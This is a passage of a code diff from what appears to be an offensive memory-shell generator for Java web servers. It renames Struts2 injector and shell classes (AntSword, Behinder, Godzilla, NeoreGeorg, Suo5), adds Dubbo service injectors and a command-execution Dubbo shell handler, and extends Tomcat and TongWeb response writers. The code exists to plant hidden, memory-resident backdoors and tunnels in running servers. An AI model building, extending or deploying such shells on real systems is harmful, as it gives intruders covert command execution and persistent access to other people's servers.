arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e2) {
|
||||
}
|
||||
}
|
||||
try {
|
||||
for (Object exportedProvider : getExportedProviders()) {
|
||||
try {
|
||||
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
|
||||
if (objInvokeNoArgs != null) {
|
||||
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
|
||||
}
|
||||
} catch (Exception e3) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e4) {
|
||||
}
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
private Collection<?> getExportedProviders() {
|
||||
try {
|
||||
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
|
||||
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
|
||||
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
|
||||
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
|
||||
} catch (Exception e2) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String str) {
|
||||
String strNormalizePath = normalizePath(str);
|
||||
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
|
||||
if (objFindRegisteredService == null) {
|
||||
objFindRegisteredService = findRegisteredService(strNormalizePath);
|
||||
}
|
||||
if (objFindRegisteredService == null) {
|
||||
return strNormalizePath;
|
||||
}
|
||||
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
|
||||
if (!listExtractExportedUrls.isEmpty()) {
|
||||
return formatUrls(listExtractExportedUrls);
|
||||
}
|
||||
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
|
||||
if (listResolveProtocols.isEmpty()) {
|
||||
return strNormalizePath;
|
||||
}
|
||||
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
|
||||
}
|
||||
|
||||
private Object findRegisteredService(String str) {
|
||||
for (Object obj : getRegisteredServices()) {
|
||||
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<?> extractExportedUrls(Object obj) {
|
||||
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
|
||||
if (!list.isEmpty()) {
|
||||
return list;
|
||||
}
|
||||
List<?> list2 = toList(getFieldValue(obj, "exporters"));
|
||||
if (list2.isEmpty()) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
List<Object> arrayList = new ArrayList<>();
|
||||
for (Object exporter : list2) {
|
||||
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
|
||||
if (objInvokeNoArgs != null) {
|
||||
arrayList.add(objInvokeNoArgs);
|
||||
}
|
||||
}
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
private List<?> resolveProtocols(Object obj) {
|
||||
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
|
||||
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
|
||||
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
|
||||
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
|
||||
}
|
||||
|
||||
private Object invokeNoArgs(Object obj, String str) {
|
||||
if (obj == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
return obj.getClass().getMethod(str).invoke(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Object invokeStaticNoArgs(Class<?> cls, String str) {
|
||||
try {
|
||||
return cls.getMethod(str).invoke(null);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFieldValue(Object obj, String str) {
|
||||
if (obj == null) {
|
||||
return null;
|
||||
}
|
||||
Class<?> superclass = obj.getClass();
|
||||
while (true) {
|
||||
Class<?> cls = superclass;
|
||||
if (cls == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
Field declaredField = cls.getDeclaredField(str);
|
||||
declaredField.setAccessible(true);
|
||||
return declaredField.get(obj);
|
||||
} catch (Exception e) {
|
||||
superclass = cls.getSuperclass();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private List<?> toList(Object obj) {
|
||||
Object value = extractOptionalValue(obj);
|
||||
if (value instanceof Collection) {
|
||||
return new ArrayList<>((Collection<?>) value);
|
||||
}
|
||||
if (value instanceof Map) {
|
||||
return new ArrayList<>(((Map<?, ?>) value).values());
|
||||
}
|
||||
return new ArrayList<>();
|
||||
}
|
||||
|
||||
private Object extractOptionalValue(Object obj) {
|
||||
if (obj instanceof Optional) {
|
||||
return ((Optional<?>) obj).orElse(null);
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
private Object firstElement(List<?> list) {
|
||||
if (list.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return list.get(0);
|
||||
}
|
||||
|
||||
private ProviderConfig castProviderConfig(Object obj) {
|
||||
if (obj instanceof ProviderConfig) {
|
||||
return (ProviderConfig) obj;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ApplicationConfig castApplicationConfig(Object obj) {
|
||||
if (obj instanceof ApplicationConfig) {
|
||||
return (ApplicationConfig) obj;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<RegistryConfig> castRegistries(List<?> list) {
|
||||
return list.stream()
|
||||
.filter(RegistryConfig.class::isInstance)
|
||||
.map(RegistryConfig.class::cast)
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private Object resolveConfigManager() {
|
||||
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
|
||||
if (objInvokeStaticNoArgs != null) {
|
||||
return objInvokeStaticNoArgs;
|
||||
}
|
||||
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
|
||||
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
|
||||
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||
}
|
||||
|
||||
private String formatUrls(List<?> list) {
|
||||
return list.stream()
|
||||
.map(this::formatUrl)
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String formatProtocolAddresses(List<?> list, String str) {
|
||||
return list.stream()
|
||||
.map(obj -> formatProtocolAddress(obj, str))
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String formatUrl(Object obj) {
|
||||
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
|
||||
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
|
||||
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
|
||||
}
|
||||
|
||||
private String formatProtocolAddress(Object obj, String str) {
|
||||
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
|
||||
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
|
||||
}
|
||||
|
||||
private String stringValue(Object obj, String str) {
|
||||
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
|
||||
}
|
||||
|
||||
private Integer integerValue(Object obj) {
|
||||
if (obj instanceof Number) {
|
||||
return Integer.valueOf(((Number) obj).intValue());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> castProtocols(List<?> list) {
|
||||
return list.stream()
|
||||
.filter(ProtocolConfig.class::isInstance)
|
||||
.map(ProtocolConfig.class::cast)
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
|
||||
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
|
||||
addProtocols(linkedHashMap, collection);
|
||||
addProtocols(linkedHashMap, collection2);
|
||||
return new ArrayList<>(linkedHashMap.values());
|
||||
}
|
||||
|
||||
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
|
||||
if (collection == null) {
|
||||
return;
|
||||
}
|
||||
for (ProtocolConfig protocolConfig : collection) {
|
||||
if (protocolConfig != null) {
|
||||
map.put(protocolKey(protocolConfig), protocolConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String protocolKey(ProtocolConfig protocolConfig) {
|
||||
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
|
||||
}
|
||||
|
||||
private String getErrorMessage(Throwable th) {
|
||||
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
|
||||
th.printStackTrace(printStream);
|
||||
return byteArrayOutputStream.toString();
|
||||
} catch (IOException e) {
|
||||
return String.valueOf(th);
|
||||
}
|
||||
}
|
||||
}
|
||||
+3
-3
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memshell.injector.struct2;
|
||||
package com.reajason.javaweb.memshell.injector.struts2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
@@ -15,7 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class Struct2ActionInjector {
|
||||
public class Struts2ActionInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
@@ -32,7 +32,7 @@ public class Struct2ActionInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Struct2ActionInjector() {
|
||||
public Struts2ActionInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
@@ -19,8 +19,11 @@ public class Bes extends AbstractServer {
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, BesListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, BesListenerInjector.class)
|
||||
.addInjector(FILTER, BesFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, BesFilterInjector.class)
|
||||
.addInjector(VALVE, BesValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, BesValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||
.build();
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
|
||||
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
|
||||
|
||||
public class Dubbo extends AbstractServer {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
|
||||
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
+3
-3
@@ -1,18 +1,18 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
|
||||
import com.reajason.javaweb.memshell.injector.struts2.Struts2ActionInjector;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class Struct2 extends AbstractServer {
|
||||
public class Struts2 extends AbstractServer {
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(ShellType.ACTION, Struct2ActionInjector.class)
|
||||
.addInjector(ShellType.ACTION, Struts2ActionInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.shelltool;
|
||||
|
||||
public interface ShellDubboService {
|
||||
byte[] handle(byte[] bytes);
|
||||
}
|
||||
+1
-1
@@ -10,7 +10,7 @@ import java.net.URLClassLoader;
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordStruct2Action {
|
||||
public class AntSwordStruts2Action {
|
||||
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
+1
-1
@@ -15,7 +15,7 @@ import java.util.Map;
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class BehinderStruct2Action {
|
||||
public class BehinderStruts2Action {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Scanner;
|
||||
|
||||
public class CommandDubboService {
|
||||
|
||||
public byte[] handle(byte[] bytes) {
|
||||
if (bytes == null || bytes.length == 0) {
|
||||
return new byte[0];
|
||||
}
|
||||
String p = new String(bytes);
|
||||
String param = getParam(p);
|
||||
try {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
return outputStream.toByteArray();
|
||||
} catch (Exception e) {
|
||||
return getErrorMessage(e).getBytes();
|
||||
}
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrap(Object obj, String fieldName) {
|
||||
try {
|
||||
return getFieldValue(obj, fieldName);
|
||||
} catch (Throwable e) {
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -10,7 +10,7 @@ import java.util.Scanner;
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class CommandStruct2Action {
|
||||
public class CommandStruts2Action {
|
||||
private static String paramName;
|
||||
|
||||
public String execute() throws Exception {
|
||||
+1
-1
@@ -15,7 +15,7 @@ import java.net.URLClassLoader;
|
||||
* @author ReaJason
|
||||
* @since 2024/12/15
|
||||
*/
|
||||
public class GodzillaStruct2Action {
|
||||
public class GodzillaStruts2Action {
|
||||
private static String key;
|
||||
private static String pass;
|
||||
private static String md5;
|
||||
+1
-1
@@ -18,7 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
* <p>
|
||||
* key: key
|
||||
*/
|
||||
public class NeoreGeorgStruct2Action {
|
||||
public class NeoreGeorgStruts2Action {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
+4
-4
@@ -16,7 +16,7 @@ import java.util.HashMap;
|
||||
* @author ReaJason
|
||||
* @since 2024/12/15
|
||||
*/
|
||||
public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
public class Suo5Struts2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public static HashMap addrs = collectAddr();
|
||||
@@ -25,10 +25,10 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
public Suo5Struct2Action() {
|
||||
public Suo5Struts2Action() {
|
||||
}
|
||||
|
||||
public Suo5Struct2Action(InputStream in, OutputStream out) {
|
||||
public Suo5Struts2Action(InputStream in, OutputStream out) {
|
||||
this.gInStream = in;
|
||||
this.gOutStream = out;
|
||||
}
|
||||
@@ -268,7 +268,7 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream);
|
||||
Suo5Struts2Action p = new Suo5Struts2Action(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
+2
-2
@@ -14,11 +14,11 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
* @since 2025/12/9
|
||||
*/
|
||||
public class Suo5v2Struct2Action {
|
||||
public class Suo5v2Struts2Action {
|
||||
private static Class<?> suo5V2Class;
|
||||
private static String suo5V2GZipBase64;
|
||||
|
||||
public Suo5v2Struct2Action() {
|
||||
public Suo5v2Struts2Action() {
|
||||
}
|
||||
|
||||
public void execute() throws Exception {
|
||||
+2
-2
@@ -106,8 +106,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
return WebLogicWriter.class;
|
||||
case Server.Apusic:
|
||||
return ApusicWriter.class;
|
||||
case Server.Struct2:
|
||||
return Struct2Writer.class;
|
||||
case Server.Struts2:
|
||||
return Struts2Writer.class;
|
||||
default:
|
||||
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
||||
}
|
||||
|
||||
@@ -10,7 +10,7 @@ import java.util.Set;
|
||||
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
||||
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
||||
* 额外需要注意:
|
||||
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
||||
* 1. 不会识别 SpringWebMVC Struts2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
||||
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
||||
*
|
||||
* @author ReaJason
|
||||
|
||||
+2
-2
@@ -11,10 +11,10 @@ import java.lang.reflect.Method;
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class Struct2Writer {
|
||||
public class Struts2Writer {
|
||||
private static boolean ok = false;
|
||||
|
||||
public Struct2Writer() {
|
||||
public Struts2Writer() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
+5
-1
@@ -44,7 +44,11 @@ public class TomcatWriter {
|
||||
try {
|
||||
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
continue;
|
||||
try {
|
||||
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "endpoint"), "handler"), "global");
|
||||
}catch (NoSuchFieldException ignored2) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
|
||||
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
|
||||
|
||||
+7
-1
@@ -27,9 +27,15 @@ public class TongWebWriter {
|
||||
String threadName = thread.getName();
|
||||
if (threadName.contains("Poller") // TongWeb6
|
||||
|| threadName.contains("Acceptor") // TongWeb7
|
||||
|| threadName.contains("AsyncTimeout") // TongWeb 7.0.4.9
|
||||
) {
|
||||
try {
|
||||
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
|
||||
Object requestGroupInfo = null;
|
||||
try {
|
||||
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
|
||||
} catch (NoSuchFieldException ignored1) {
|
||||
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "endpoint"), "handler"), "global");
|
||||
}
|
||||
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
|
||||
for (Object processor : processors) {
|
||||
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
|
||||
|
||||
@@ -145,7 +145,7 @@ public class CommonUtil {
|
||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||
}
|
||||
|
||||
public static String getSimpleName(String injectorClassName) {
|
||||
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
|
||||
public static String getSimpleName(String className) {
|
||||
return className.substring(className.lastIndexOf(".") + 1);
|
||||
}
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
package org.apache.catalina;
|
||||
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public interface Valve {
|
||||
|
||||
public Valve getNext();
|
||||
|
||||
public void setNext(Valve valve);
|
||||
|
||||
public void backgroundProcess();
|
||||
|
||||
public void invoke(Request request, Response response)
|
||||
throws IOException, ServletException;
|
||||
|
||||
public boolean isAsyncSupported();
|
||||
}
|
||||
@@ -1,349 +0,0 @@
|
||||
package org.apache.catalina.connector;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.*;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
import java.io.UnsupportedEncodingException;
|
||||
import java.security.Principal;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public class Request implements HttpServletRequest {
|
||||
@Override
|
||||
public String getAuthType() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Cookie[] getCookies() {
|
||||
return new Cookie[0];
|
||||
}
|
||||
|
||||
@Override
|
||||
public long getDateHeader(String name) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getHeader(String name) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Enumeration<String> getHeaders(String name) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Enumeration<String> getHeaderNames() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getIntHeader(String name) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMethod() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPathInfo() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPathTranslated() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContextPath() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getQueryString() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getRemoteUser() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isUserInRole(String role) {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Principal getUserPrincipal() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getRequestedSessionId() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getRequestURI() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public StringBuffer getRequestURL() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getServletPath() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public HttpSession getSession(boolean create) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public HttpSession getSession() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isRequestedSessionIdValid() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isRequestedSessionIdFromCookie() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isRequestedSessionIdFromURL() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isRequestedSessionIdFromUrl() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean authenticate(HttpServletResponse response) throws IOException, ServletException {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void login(String username, String password) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void logout() throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public Collection<Part> getParts() throws IOException, ServletException {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Part getPart(String name) throws IOException, ServletException {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getAttribute(String name) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Enumeration<String> getAttributeNames() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getCharacterEncoding() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setCharacterEncoding(String env) throws UnsupportedEncodingException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getContentLength() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContentType() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public ServletInputStream getInputStream() throws IOException {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getParameter(String name) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Enumeration<String> getParameterNames() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String[] getParameterValues(String name) {
|
||||
return new String[0];
|
||||
}
|
||||
|
||||
@Override
|
||||
public Map<String, String[]> getParameterMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getProtocol() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getScheme() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getServerName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getServerPort() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public BufferedReader getReader() throws IOException {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getRemoteAddr() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getRemoteHost() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setAttribute(String name, Object o) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void removeAttribute(String name) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public Locale getLocale() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Enumeration<Locale> getLocales() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isSecure() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public RequestDispatcher getRequestDispatcher(String path) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getRealPath(String path) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getRemotePort() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getLocalName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getLocalAddr() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getLocalPort() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public ServletContext getServletContext() {
|
||||
return null;
|
||||
}
|
||||
|
